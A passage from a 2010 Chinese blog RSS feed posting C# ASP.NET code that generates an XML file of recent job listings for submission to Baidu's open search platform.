(liao)</author><link>http://www.it314.com/net/353.html</link><pubDate>Sat, 26 Jun 2010 16:22:45 +0800</pubDate><guid>http://www.it314.com/net/353.html</guid><description><![CDATA[<p>百度现在推出了一个搜索开放平台（open.baidu.com）,不了解可以上去看下，对优化还是很好的。为了我公司那个网站能快点把流量提起来，今天写了一个把站点的数据生成百度收度的XML，下面是生成方法。如果你也想把你的站点数据提交成搜索开放平台，可以用下：<br />引用using System.Xml;</p><p>&nbsp;&nbsp; protected void Button3_Click(object sender, EventArgs e)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int TotalCountRecord = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlDocument xmldoc;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlNode xmlnode;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement xmlelem;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmldoc = new XmlDocument();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //加入XML的声明段落,&lt;?xml version=&quot;1.0&quot; encoding=&quot;gb2312&quot;?&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlDeclaration xmldecl;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmldecl = xmldoc.CreateXmlDeclaration(&quot;1.0&quot;, &quot;gbk&quot;, null);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmldoc.AppendChild(xmldecl);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlelem = xmldoc.CreateElement(&quot;&quot;, &quot;DOCUMENT&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //加入一个根元素<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmldoc.AppendChild(xmlelem);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlNode root = xmldoc.SelectSingleNode(&quot;DOCUMENT&quot;);//查找&lt;Employees&gt; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement k = xmldoc.CreateElement(&quot;item&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement kt = xmldoc.CreateElement(&quot;key&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kt.InnerText = &quot;鞋厂招聘&quot;;//设置文本节点 <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k.AppendChild(kt);//添加到&lt;Node&gt;节点中</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement dt = xmldoc.CreateElement(&quot;display&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加url节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement ut = xmldoc.CreateElement(&quot;url&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ut.InnerXml = &quot;&lt;![CDATA[你的数据网址]]&gt;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(ut);//添加到&lt;Node&gt;节点中 <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加title节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement tt = xmldoc.CreateElement(&quot;title&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tt.InnerText = &quot;鞋厂招聘、鞋业招聘尽在XX网&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(tt);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加showurl节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement st = xmldoc.CreateElement(&quot;showurl&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; st.InnerXml = &quot;&lt;![CDATA[你网站的一级域名]]&gt;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(st);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加pagesize节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement pt = xmldoc.CreateElement(&quot;pagesize&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pt.InnerXml = &quot;5k&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(pt);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加date节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement de = xmldoc.CreateElement(&quot;date&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de.InnerText = DateTime.Now.ToString(&quot;yyyy-MM-dd&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(de);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加form节点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement fe = xmldoc.CreateElement(&quot;form&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col0&quot;, &quot;职位名称&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col0link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col1&quot;, &quot;公司名称&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col1link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col2&quot;, &quot;工作地点&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col2link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col3&quot;, &quot;发布时间&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col3link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col4&quot;, &quot;职位薪金&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col4link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col5&quot;, &quot;学历&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe.SetAttribute(&quot;col5link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(fe);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DataTable db=sqlhelper.Quest(&quot;select top&nbsp; 5 * from XXXX order by id desc&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach(DataRow rs in db.Rows)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement fe2 = xmldoc.CreateElement(&quot;form&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col0&quot;, rs[&quot;job&quot;].ToString());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col0link&quot;, &quot;链接网站&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col1&quot;, rs[&quot;comname&quot;].ToString());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col1link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col2&quot;, showa(Convert.ToInt32(rs[&quot;area&quot;].ToString())));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col2link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col3&quot;,DateTime.Parse(rs[&quot;Update&quot;].ToString()).ToString(&quot;yyyy-MM-dd&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col3link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col4&quot;, &quot;面谈&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col4link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col5&quot;, &quot;不限&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fe2.SetAttribute(&quot;col5link&quot;, &quot;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(fe2);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlElement le = xmldoc.CreateElement(&quot;link&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; le.SetAttribute(&quot;linkurl&quot;, &quot;你的数据网址&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; le.SetAttribute(&quot;linkcontent&quot;, &quot;更多&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dt.AppendChild(le);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k.AppendChild(dt);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; root.AppendChild(k);//添加到&lt;Employees&gt;节点中 <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //保存创建好的XML文档<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmldoc.Save(Server.MapPath(&quot;/Job/job.xml&quot;)); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.bid.Text = &quot;生成成功&quot;;<br />&nbsp;&nbsp;&nbsp; }</p>]]></description><category>net技术</category><comments>http://www.it314.com/net/353.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=353</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=353&amp;key=8ea1e632</trackback:ping></item></channel></rss>
